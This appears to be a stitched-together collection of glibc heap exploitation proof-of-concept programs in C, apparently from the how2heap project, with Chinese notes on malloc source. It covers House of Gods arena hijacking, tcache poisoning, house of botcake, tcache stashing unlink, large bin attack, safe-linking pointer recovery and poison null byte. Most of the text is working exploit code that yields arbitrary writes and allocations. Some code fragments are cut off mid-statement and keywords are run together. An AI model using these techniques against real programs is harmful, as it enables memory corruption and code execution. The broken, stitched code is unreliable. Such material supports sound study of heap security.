/* Allocate a very large chunk with malloc. This needs to be larger than the previously freed chunk because the mmapthreshold has increased to 0x202000. If the allocation is not larger than the size of the largest freed mmap chunk then the allocation will happen in the normal section of heap memory. */ printf("Get a very large chunk from malloc to get mmapped chunk\n"); printf("This should overlap over the previously munmapped/freed chunks\n"); longlong* overlapping_chunk = malloc(0x300000); printf("Overlapped chunk Ptr: %p\n", overlapping_chunk); printf("Overlapped chunk Ptr Size: 0x%llx\n", overlapping_chunk[-1]);
// Gets the distance between the two pointers. int distance = mmap_chunk_2 - overlapping_chunk; printf("Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\n", distance); printf("Value of index 0 of mmap chunk 2 prior to write: %llx\n", mmap_chunk_2[0]); // Set the value of the overlapped chunk. printf("Setting the value of the overlapped chunk\n"); overlapping_chunk[distance] = 0x1122334455667788;
// Show that the pointer has been written to. printf("Second chunk value (after write): 0x%llx\n", mmap_chunk_2[0]); printf("Overlapped chunk value: 0x%llx\n\n", overlapping_chunk[distance]); printf("Boom! The new chunk has been overlapped with a previous mmaped chunk\n"); assert(mmap_chunk_2[0] == overlapping_chunk[distance]); }
/* * Welcome to the House of Gods... * * House of Gods is an arena hijacking technique for glibc < 2.27. It supplies * the attacker with an arbitrary write against the thread_arena symbol of * the main thread. This can be used to replace the main_arena with a * carefully crafted fake arena. The exploit was tested against * * - glibc-2.23 * - glibc-2.24 * - glibc-2.25 * - glibc-2.26 * * Following requirements are mandatory * * - 8 allocs of arbitrary size to hijack the arena (+2 for ACE) * - control over first 5 quadwords of a chunk's userdata * - a single write-after-free bug on an unsorted chunk * - heap address leak + libc address leak * * This PoC demonstrates how to leverage the House of Gods in order to hijack * the thread_arena. But it wont explain how to escalate further to * arbitrary code execution, since this step is trivial once the whole arena * is under control. * * Also note, that the how2heap PoC might use more allocations than * previously stated. This is intentional and has educational purposes. * * If you want to read the full technical description of this technique, going * from zero to arbitrary code execution within only 10 to 11 allocations, here * is the original document I've written * * https://github.com/Milo-D/house-of-gods/blob/master/rev2/HOUSE_OF_GODS.TXT * * I recommend reading this document while experimenting with * the how2heap PoC. * * Besides that, this technique abuses a minor bug in glibc, which I have * already submitted to bugzilla at * * https://sourceware.org/bugzilla/show_bug.cgi?id=29709 * * AUTHOR: David Milosevic (milo) * * */
/* <--- Exploit PoC ---> */
intmain(void){
printf("=================\n"); printf("= House of Gods =\n"); printf("=================\n\n");
printf("=== Abstract ===\n\n");
printf("The core of this technique is to allocate a fakechunk overlapping\n"); printf("the binmap field within the main_arena. This fakechunk is located at\n"); printf("offset 0x850. Its sizefield can be crafted by carefully binning chunks\n"); printf("into smallbins or largebins. The binmap-chunk is then being linked into\n"); printf("the unsorted bin via a write-after-free bug in order to allocate it back\n"); printf("as an exact fit. One can now tamper with the main_arena.next pointer at\n"); printf("offset 0x868 and inject the address of a fake arena. A final unsorted bin\n"); printf("attack corrupts the narenas variable with a very large value. From there, only\n"); printf("two more allocation requests for at least 0xffffffffffffffc0 bytes of memory\n"); printf("are needed to trigger two consecutive calls to the reused_arena() function,\n"); printf("which in turn traverses the corrupted arena-list and sets thread_arena to the\n"); printf("address stored in main_arena.next - the address of the fake arena.\n\n");
printf("=== PoC ===\n\n");
printf("Okay, so let us start by allocating some chunks...\n\n");
/* * allocate a smallchunk, for example a 0x90-chunk. * */ void *SMALLCHUNK = malloc(0x88);
/* * allocate the first fastchunk. We will use * a 0x20-chunk for this purpose. * */ void *FAST20 = malloc(0x18);
/* * allocate a second fastchunk. This time * a 0x40-chunk. * */ void *FAST40 = malloc(0x38);
printf("%p is our 0x90-sized smallchunk. We will bin this chunk to forge a\n", SMALLCHUNK); printf("fake sizefield for our binmap-chunk.\n\n");
printf("%p is our first fastchunk. Its size is 0x20.\n\n", FAST20);
printf("%p is our second fastchunk with a size of 0x40. The usecase of\n", FAST40); printf("both fastchunks will be explained later in this PoC.\n\n");
printf("We can move our smallchunk to the unsorted bin by simply free'ing it...\n\n");
/* * put SMALLCHUNK into the unsorted bin. * */ free(SMALLCHUNK);
/* * this is a great opportunity to simulate a * libc leak. We just read the address of the * unsorted bin and save it for later. * */ constuint64_t leak = *((uint64_t*) SMALLCHUNK);
printf("And now we need to make a request for a chunk which can not be serviced by\n"); printf("our recently free'd smallchunk. Thus, we will make a request for a\n"); printf("0xa0-sized chunk - let us call this chunk INTM (intermediate).\n\n");
/* * following allocation will trigger a binning * process within the unsorted bin and move * SMALLCHUNK to the 0x90-smallbin. * */ void *INTM = malloc(0x98);
printf("Our smallchunk should be now in the 0x90-smallbin. This process also triggered\n"); printf("the mark_bin(m, i) macro within the malloc source code. If you inspect the\n"); printf("main_arena's binmap located at offset 0x855, you will notice that the initial\n"); printf("value of the binmap changed from 0x0 to 0x200 - which can be used as a valid\n"); printf("sizefield to bypass the unsorted bin checks.\n\n");
printf("We would also need a valid bk pointer in order to bypass the partial unlinking\n"); printf("procedure within the unsorted bin. But luckily, the main_arena.next pointer at\n"); printf("offset 0x868 points initially to the start of the main_arena itself. This fact\n"); printf("makes it possible to pass the partial unlinking without segfaulting.\n\n");
printf("So now that we have crafted our binmap-chunk, it is time to allocate it\n"); printf("from the unsorted bin. For that, we will abuse a write-after-free bug\n"); printf("on an unsorted chunk. Let us start...\n\n");
printf("First, allocate another smallchunk...\n");
/* * recycle our previously binned smallchunk. * Note that, it is not neccessary to recycle this * chunk. I am doing it only to keep the heap layout * small and compact. * */ SMALLCHUNK = malloc(0x88);
printf("...and now move our new chunk to the unsorted bin...\n");
/* * put SMALLCHUNK into the unsorted bin. * */ free(SMALLCHUNK);
printf("...in order to tamper with the free'd chunk's bk pointer.\n\n");
/* * bug: a single write-after-free bug on an * unsorted chunk is enough to initiate the * House of Gods technique. * */ *((uint64_t*) (SMALLCHUNK + 0x8)) = leak + 0x7f8;
printf("Great. We have redirected the unsorted bin to our binmap-chunk.\n"); printf("But we also have corrupted the bin. Let's fix this, by redirecting\n"); printf("a second time.\n\n");
printf("The next chunk (head->bk->bk->bk) in the unsorted bin is located at the start\n"); printf("of the main-arena. We will abuse this fact and free a 0x20-chunk and a 0x40-chunk\n"); printf("in order to forge a valid sizefield and bk pointer. We will also let the 0x40-chunk\n"); printf("point to another allocated chunk (INTM) by writing to its bk pointer before\n"); printf("actually free'ing it.\n\n");
/* * before free'ing those chunks, let us write * the address of another chunk to the currently * unused bk pointer of FAST40. We can reuse * the previously requested INTM chunk for that. * * Free'ing FAST40 wont reset the bk pointer, thus * we can let it point to an allocated chunk while * having it stored in one of the fastbins. * * The reason behind this, is the simple fact that * we will need to perform an unsorted bin attack later. * And we can not request a 0x40-chunk to trigger the * partial unlinking, since a 0x40 request will be serviced * from the fastbins instead of the unsorted bin. * */ *((uint64_t*) (FAST40 + 0x8)) = (uint64_t) (INTM - 0x10);
/* * and now free the 0x20-chunk in order to forge a sizefield. * */ free(FAST20);
/* * and the 0x40-chunk in order to forge a bk pointer. * */ free(FAST40);
printf("Okay. The unsorted bin should now look like this\n\n");
printf("head -> SMALLCHUNK -> binmap -> main-arena -> FAST40 -> INTM\n"); printf(" bk bk bk bk bk\n\n");
printf("The binmap attack is nearly done. The only thing left to do, is\n"); printf("to make a request for a size that matches the binmap-chunk's sizefield.\n\n");
/* * all the hard work finally pays off...we can * now allocate the binmap-chunk from the unsorted bin. * */ void *BINMAP = malloc(0x1f8);
printf("After allocating the binmap-chunk, the unsorted bin should look similar to this\n\n");
printf("head -> main-arena -> FAST40 -> INTM\n"); printf(" bk bk bk\n\n");
printf("And that is a binmap attack. We've successfully gained control over a small\n"); printf("number of fields within the main-arena. Two of them are crucial for\n"); printf("the House of Gods technique\n\n");
printf("By tampering with the main_arena.next field, we can manipulate the arena's\n"); printf("linked list and insert the address of a fake arena. Once this is done,\n"); printf("we can trigger two calls to malloc's reused_arena() function.\n\n");
printf("The purpose of the reused_arena() function is to return a non-corrupted,\n"); printf("non-locked arena from the arena linked list in case that the current\n"); printf("arena could not handle previous allocation request.\n\n");
printf("The first call to reused_arena() will traverse the linked list and return\n"); printf("a pointer to the current main-arena.\n\n");
printf("The second call to reused_arena() will traverse the linked list and return\n"); printf("a pointer to the previously injected fake arena (main_arena.next).\n\n");
printf("We can reach the reused_arena() if we meet following conditions\n\n");
printf(" - exceeding the total amount of arenas a process can have.\n"); printf(" malloc keeps track by using the narenas variable as\n"); printf(" an arena counter. If this counter exceeds the limit (narenas_limit),\n"); printf(" it will start to reuse existing arenas from the arena list instead\n"); printf(" of creating new ones. Luckily, we can set narenas to a very large\n"); printf(" value by performing an unsorted bin attack against it.\n\n");
printf(" - force the malloc algorithm to ditch the current arena.\n"); printf(" When malloc notices a failure it will start a second allocation\n"); printf(" attempt with a different arena. We can mimic an allocation failure by\n"); printf(" simply requesting too much memory i.e. 0xffffffffffffffc0 and greater.\n\n");
printf("Let us start with the unsorted bin attack. We load the address of narenas\n"); printf("minus 0x10 into the bk pointer of the currently allocated INTM chunk...\n\n");
/* * set INTM's bk to narenas-0x10. This will * be our target for the unsorted bin attack. * */ *((uint64_t*) (INTM + 0x8)) = leak - 0xa40;
printf("...and then manipulate the main_arena.system_mem field in order to pass the\n"); printf("size sanity checks for the chunk overlapping the main-arena.\n\n");
/* * this way we can abuse a heap pointer * as a valid sizefield. * */ *((uint64_t*) (BINMAP + 0x20)) = 0xffffffffffffffff;
printf("The unsorted bin should now look like this\n\n");
printf("head -> main-arena -> FAST40 -> INTM -> narenas-0x10\n"); printf(" bk bk bk bk\n\n");
printf("We can now trigger the unsorted bin attack by requesting the\n"); printf("INTM chunk as an exact fit.\n\n");
/* * request the INTM chunk from the unsorted bin * in order to trigger a partial unlinking between * head and narenas-0x10. * */ INTM = malloc(0x98);
printf("Perfect. narenas is now set to the address of the unsorted bin's head\n"); printf("which should be large enough to exceed the existing arena limit.\n\n");
printf("Let's proceed with the manipulation of the main_arena.next pointer\n"); printf("within our previously allocated binmap-chunk. The address we write\n"); printf("to this field will become the future value of thread_arena.\n\n");
/* * set main_arena.next to an arbitrary address. The * next two calls to malloc will overwrite thread_arena * with the same address. I'll reuse INTM as fake arena. * * Note, that INTM is not suitable as fake arena but * nevertheless, it is an easy way to demonstrate that * we are able to set thread_arena to an arbitrary address. * */ *((uint64_t*) (BINMAP + 0x8)) = (uint64_t) (INTM - 0x10);
printf("Done. Now all what's left to do is to trigger two calls to the reused_arena()\n"); printf("function by making two requests for an invalid chunksize.\n\n");
/* * the first call will force the reused_arena() * function to set thread_arena to the address of * the current main-arena. * */ malloc(0xffffffffffffffbf + 1);
/* * the second call will force the reused_arena() * function to set thread_arena to the address stored * in main_arena.next - our fake arena. * */ malloc(0xffffffffffffffbf + 1);
printf("We did it. We hijacked the thread_arena symbol and from now on memory\n"); printf("requests will be serviced by our fake arena. Let's check this out\n"); printf("by allocating a fakechunk on the stack from one of the fastbins\n"); printf("of our new fake arena.\n\n");
/* * construct a 0x70-fakechunk on the stack... * */ uint64_t fakechunk[4] = {
/* * ...and place it in the 0x70-fastbin of our fake arena * */ *((uint64_t*) (INTM + 0x20)) = (uint64_t) (fakechunk);
printf("Fakechunk in position at stack address %p\n", fakechunk); printf("Target data within the fakechunk at address %p\n", &fakechunk[2]); printf("Its current value is %#lx\n\n", fakechunk[2]);
printf("And after requesting a 0x70-chunk...\n");
/* * use the fake arena to perform arbitrary allocations * */ void *FAKECHUNK = malloc(0x68);
printf("...malloc returns us the fakechunk at %p\n\n", FAKECHUNK);
printf("Overwriting the newly allocated chunk changes the target\n"); printf("data as well: ");
/* * overwriting the target data * */ *((uint64_t*) (FAKECHUNK)) = 0x4242424242424242;
/* Bitmap of bins */ unsignedint binmap[BINMAPSIZE];
/* Linked list */ structmalloc_state *next;
/* Linked list for free arenas. Access to this field is serialized by free_list_lock in arena.c. */ structmalloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on the free list. Access to this field is serialized by free_list_lock in arena.c. */ INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */ INTERNAL_SIZE_T system_mem; INTERNAL_SIZE_T max_system_mem; };
binmap 在 malloc 过程中的下面两个场景会被修改:
在遍历 unsorted bin 中的空闲 chunk 时如果将该 chunk 放入对应的 small bin 或 large bin 中会在 binmap 对应位置置位。
victim = _int_malloc(ar_ptr, bytes); /* Retry with another arena only if we were able to find a usable arena before. */ if (!victim && ar_ptr != NULL) { LIBC_PROBE(memory_malloc_retry, 1, bytes); ar_ptr = arena_get_retry(ar_ptr, bytes); victim = _int_malloc(ar_ptr, bytes); }
a = get_free_list(); // 调试发现返回 NULL if (a == NULL) { /* Nothing immediately available, so generate a new arena. */ if (narenas_limit == 0) { if (mp_.arena_max != 0) narenas_limit = mp_.arena_max; elseif (narenas > mp_.arena_test) { int n = __get_nprocs();
if (n >= 1) narenas_limit = NARENAS_FROM_NCORES(n); else /* We have no information about the system. Assume two cores. */ narenas_limit = NARENAS_FROM_NCORES(2); } } repeat:; size_t n = narenas; /* NB: the following depends on the fact that (size_t)0 - 1 is a very large number and that the underflow is OK. If arena_max is set the value of arena_test is irrelevant. If arena_test is set but narenas is not yet larger or equal to arena_test narenas_limit is 0. There is no possibility for narenas to be too big for the test to always fail since there is not enough address space to create that many arenas. */ if (__glibc_unlikely(n <= narenas_limit - 1)) { if (catomic_compare_and_exchange_bool_acq(&narenas, n + 1, n)) goto repeat; a = _int_new_arena(size); if (__glibc_unlikely(a == NULL)) catomic_decrement(&narenas); } else a = reused_arena(avoid_arena); } return a; }
staticsize_t narenas = 1; static mstate reused_arena(mstate avoid_arena){ mstate result; /* FIXME: Access to next_to_use suffers from data races. */ static mstate next_to_use; if (next_to_use == NULL) next_to_use = &main_arena;
/* Iterate over all arenas (including those linked from free_list). */ result = next_to_use; do { if (!arena_is_corrupt(result) && !mutex_trylock(&result->mutex)) goto out;
/* FIXME: This is a data race, see _int_new_arena. */ result = result->next; } while (result != next_to_use);
printf( "\n" "This attack is intended to have a similar effect to the unsorted_bin_attack,\n" "except it works with a small allocation size (allocsize <= 0x78).\n" "The goal is to set things up so that a call to malloc(allocsize) will write\n" "a large unsigned value to the stack.\n\n" );
// Allocate 14 times so that we can free later. char* ptrs[14]; size_t i; for (i = 0; i < 14; i++) { ptrs[i] = malloc(allocsize); }
printf( "First we need to free(allocsize) at least 7 times to fill the tcache.\n" "(More than 7 times works fine too.)\n\n" );
// Fill the tcache. for (i = 0; i < 7; i++) { free(ptrs[i]); }
char* victim = ptrs[7]; printf( "The next pointer that we free is the chunk that we're going to corrupt: %p\n" "It doesn't matter if we corrupt it now or later. Because the tcache is\n" "already full, it will go in the fastbin.\n\n", victim ); free(victim);
printf( "Next we need to free between 1 and 6 more pointers. These will also go\n" "in the fastbin. If the stack address that we want to overwrite is not zero\n" "then we need to free exactly 6 more pointers, otherwise the attack will\n" "cause a segmentation fault. But if the value on the stack is zero then\n" "a single free is sufficient.\n\n" );
// Fill the fastbin. for (i = 8; i < 14; i++) { free(ptrs[i]); }
// Create an array on the stack and initialize it with garbage. size_t stack_var[6]; memset(stack_var, 0xcd, sizeof(stack_var));
printf( "The stack address that we intend to target: %p\n" "It's current value is %p\n", &stack_var[2], (char*)stack_var[2] );
printf( "Now we use a vulnerability such as a buffer overflow or a use-after-free\n" "to overwrite the next pointer at address %p\n\n", victim );
//------------VULNERABILITY-----------
// Overwrite linked list pointer in victim. *(size_t**)victim = &stack_var[0];
//------------------------------------
printf( "The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n" );
// Empty tcache. for (i = 0; i < 7; i++) { ptrs[i] = malloc(allocsize); }
printf( "Let's just print the contents of our array on the stack now,\n" "to show that it hasn't been modified yet.\n\n" );
for (i = 0; i < 6; i++) { printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]); }
printf( "\n" "The next allocation triggers the stack to be overwritten. The tcache\n" "is empty, but the fastbin isn't, so the next allocation comes from the\n" "fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n" "Those 7 chunks are copied in reverse order into the tcache, so the stack\n" "address that we are targeting ends up being the first chunk in the tcache.\n" "It contains a pointer to the next chunk in the list, which is why a heap\n" "pointer is written to the stack.\n" "\n" "Earlier we said that the attack will also work if we free fewer than 6\n" "extra pointers to the fastbin, but only if the value on the stack is zero.\n" "That's because the value on the stack is treated as a next pointer in the\n" "linked list and it will trigger a crash if it isn't a valid pointer or null.\n" "\n" "The contents of our array on the stack now look like this:\n\n" );
malloc(allocsize);
for (i = 0; i < 6; i++) { printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]); }
char *q = malloc(allocsize); printf( "\n" "Finally, if we malloc one more time then we get the stack address back: %p\n", q );
intmain() { /* * This attack should bypass the restriction introduced in * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d * If the libc does not include the restriction, you can simply double free the victim and do a * simple tcache poisoning * And thanks to @anton00b and @subwire for the weird name of this technique */
// disable buffering so _IO_FILE does not interfere with our heap setbuf(stdin, NULL); setbuf(stdout, NULL);
// introduction puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into"); puts("returning a pointer to an arbitrary location (in this demo, the stack)."); puts("This attack only relies on double free.\n");
// prepare the target intptr_t stack_var[4]; puts("The address we want malloc() to return, namely,"); printf("the target address is %p.\n\n", stack_var);
// prepare heap layout puts("Preparing heap layout"); puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later."); intptr_t *x[7]; for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){ x[i] = malloc(0x100); } puts("Allocating a chunk for later consolidation"); intptr_t *prev = malloc(0x100); puts("Allocating the victim chunk."); intptr_t *a = malloc(0x100); printf("malloc(0x100): a=%p.\n", a); puts("Allocating a padding to prevent consolidation.\n"); malloc(0x10); // cause chunk overlapping puts("Now we are able to cause chunk overlapping"); puts("Step 1: fill up tcache list"); for(int i=0; i<7; i++){ free(x[i]); } puts("Step 2: free the victim chunk so it will be added to unsorted bin"); free(a); puts("Step 3: free the previous chunk and make it consolidate with the victim chunk."); free(prev); puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n"); malloc(0x100); /*VULNERABILITY*/ free(a);// a is already freed /*VULNERABILITY*/ // simple tcache poisoning puts("Launch tcache poisoning"); puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk"); intptr_t *b = malloc(0x120); puts("We simply overwrite victim's fwd pointer"); b[0x120/8-2] = (long)stack_var; // take target out puts("Now we can cash out the target chunk."); malloc(0x100); intptr_t *c = malloc(0x100); printf("The new chunk is at %p\n", c); // sanity check assert(c==stack_var); printf("Got control on target/stack!\n\n"); // note puts("Note:"); puts("And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim"); puts("In that case, once you have done this exploitation, you can have many arbitary writes very easily.");
printf("This file demonstrates the house of spirit attack on tcache.\n"); printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n"); printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n"); printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");
printf("Ok. Let's start with the example!.\n\n");
printf("Calling malloc() once so that it sets up its memory.\n"); malloc(1);
printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n"); unsignedlonglong *a; //pointer that will be overwritten unsignedlonglong fake_chunks[10]; //fake chunk region
printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);
printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); fake_chunks[1] = 0x40; // this is the size
printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];
printf("Freeing the overwritten pointer.\n"); free(a);
printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); void *b = malloc(0x30); printf("malloc(0x30): %p\n", b);
printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n" "returning a pointer to an arbitrary location (in this case, the stack).\n" "The attack is very similar to fastbin corruption attack.\n"); printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n" "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");
size_t stack_var; printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);
printf("Freeing the buffers...\n"); free(a); free(b);
printf("Now the tcache list has [ %p -> %p ].\n", b, a); printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" "to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var); b[0] = (intptr_t)&stack_var; printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);
printf("1st malloc(128): %p\n", malloc(128)); printf("Now the tcache list has [ %p ].\n", &stack_var);
printf("This file demonstrates the stashing unlink attack on tcache.\n\n"); printf("This poc has been tested on both glibc 2.27 and glibc 2.29.\n\n"); printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n"); printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n"); printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");
// stack_var emulate the fake_chunk we want to alloc to printf("Stack_var emulates the fake chunk we want to alloc to.\n\n"); printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");
stack_var[3] = (unsignedlong)(&stack_var[2]);
printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]); printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]); printf("Now we alloc 9 chunks with malloc.\n\n");
//now we malloc 9 chunks for(int i = 0;i < 9;i++){ chunk_lis[i] = (unsignedlong*)malloc(0x90); }
//put 7 chunks into tcache printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");
for(int i = 3;i < 9;i++){ free(chunk_lis[i]); }
printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");
//last tcache bin free(chunk_lis[1]); //now they are put into unsorted bin free(chunk_lis[0]); free(chunk_lis[2]);
//convert into small bin printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");
malloc(0xa0);// size > 0x90
//now 5 tcache bins printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");
malloc(0x90); malloc(0x90);
printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);
//trigger the attack printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");
calloc(1,0x90);
printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);
//malloc and return our fake chunk on stack target = malloc(0x90);
printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);
#if USE_TCACHE //如果程序启用了Tcache /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ //遍历整个smallbin,获取相同size的free chunk size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks over. */ //判定Tcache的size链表是否已满,并且取出smallbin的末尾Chunk。 //验证取出的Chunk是否为Bin本身(Smallbin是否已空) while ( tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin) ) != bin) { //如果成功获取了Chunk if (tc_victim != 0) { // 获取 small bin 中倒数第二个 chunk 。 bck = tc_victim->bk; //设置标志位 set_inuse_bit_at_offset (tc_victim, nb); // 如果不是 main_arena,设置对应的标志 if (av != &main_arena) set_non_main_arena (tc_victim); //取出最后一个Chunk bin->bk = bck; bck->fd = bin; //将其放入到Tcache中 tcache_put (tc_victim, tc_idx); } } } #endif
可以看到,这种攻击手段并没有经过 house of lore 的需要经过的验证,即没有这一个要求 bck->fd == victim。
/* A revisit to large bin attack for after glibc2.30 Relevant code snippet : if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){ fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } */
intmain(){ /*Disable IO buffering to prevent stream from interfering with heap*/ setvbuf(stdin,NULL,_IONBF,0); setvbuf(stdout,NULL,_IONBF,0); setvbuf(stderr,NULL,_IONBF,0);
printf("\n\n"); printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n"); printf("Check 1 : \n"); printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n"); printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n"); printf("Check 2 : \n"); printf("> if (bck->fd != fwd)\n"); printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n"); printf("This prevents the traditional large bin attack\n"); printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n"); printf("====================================================================\n\n");
size_t target = 0; printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target); size_t *p1 = malloc(0x428); printf("First, we allocate a large chunk [p1] (%p)\n",p1-2); size_t *g1 = malloc(0x18); printf("And another chunk to prevent consolidate\n");
printf("\n");
size_t *p2 = malloc(0x418); printf("We also allocate a second large chunk [p2] (%p).\n",p2-2); printf("This chunk should be smaller than [p1] and belong to the same large bin.\n"); size_t *g2 = malloc(0x18); printf("Once again, allocate a guard chunk to prevent consolidate\n");
printf("\n");
free(p1); printf("Free the larger of the two --> [p1] (%p)\n",p1-2); size_t *g3 = malloc(0x438); printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");
printf("\n");
free(p2); printf("Free the smaller of the two --> [p2] (%p)\n",p2-2); printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2); printf(" and one chunk in unsorted bin [p2] (%p)\n",p2-2);
printf("\n");
p1[3] = (size_t)((&target)-4); printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);
printf("\n");
size_t *g4 = malloc(0x438); printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2); printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n"); printf(" the modified p1->bk_nextsize does not trigger any error\n"); printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);
printf("\n");
printf("In out case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target); printf("Target (%p) : %p\n",&target,(size_t*)target);
longdecrypt(long cipher) { puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,"); puts("because of the 12bit sliding."); puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)"); long key = 0; long plain;
intmain() { /* * This technique demonstrates how to recover the original content from a poisoned * value because of the safe-linking mechanism. * The attack uses the fact that the first 12 bit of the plaintext (pointer) is known * and the key (ASLR slide) is the same to the pointer's leading bits. * As a result, as long as the chunk where the pointer is stored is at the same page * of the pointer itself, the value of the pointer can be fully recovered. * Otherwise, we can also recover the pointer with the page-offset between the storer * and the pointer. What we demonstrate here is a special case whose page-offset is 0. * For demonstrations of other more general cases, plz refer to * https://github.com/n132/Dec-Safe-Linking */
setbuf(stdin, NULL); setbuf(stdout, NULL);
// step 1: allocate chunks long *a = malloc(0x20); long *b = malloc(0x20); printf("First, we create chunk a @ %p and chunk b @ %p\n", a, b); malloc(0x10); puts("And then create a padding chunk to prevent consolidation.");
// step 2: free chunks puts("Now free chunk a and then free chunk b."); free(a); free(b); printf("Now the freelist is: [%p -> %p]\n", b, a); printf("Due to safe-linking, the value actually stored at b[0] is: %#lx\n", b[0]);
// step 3: recover the values puts("Now decrypt the poisoned value"); long plaintext = decrypt(b[0]);
puts("Welcome to poison null byte!"); puts("Tested in Ubuntu 20.04 64bit."); puts("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.");
puts("Some of the implementation details are borrowed from https://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/off_by_null.c\n");
// step1: allocate padding puts("Step1: allocate a large padding so that the fake chunk's addresses's lowest 2nd byte is \\x00"); void *tmp = malloc(0x1); void *heap_base = (void *)((long)tmp & (~0xfff)); printf("heap address: %p\n", heap_base); size_t size = 0x10000 - ((long)tmp&0xffff) - 0x20; printf("Calculate padding chunk size: 0x%lx\n", size); puts("Allocate the padding. This is required to avoid a 4-bit bruteforce because we are going to overwrite least significant two bytes."); void *padding= malloc(size);
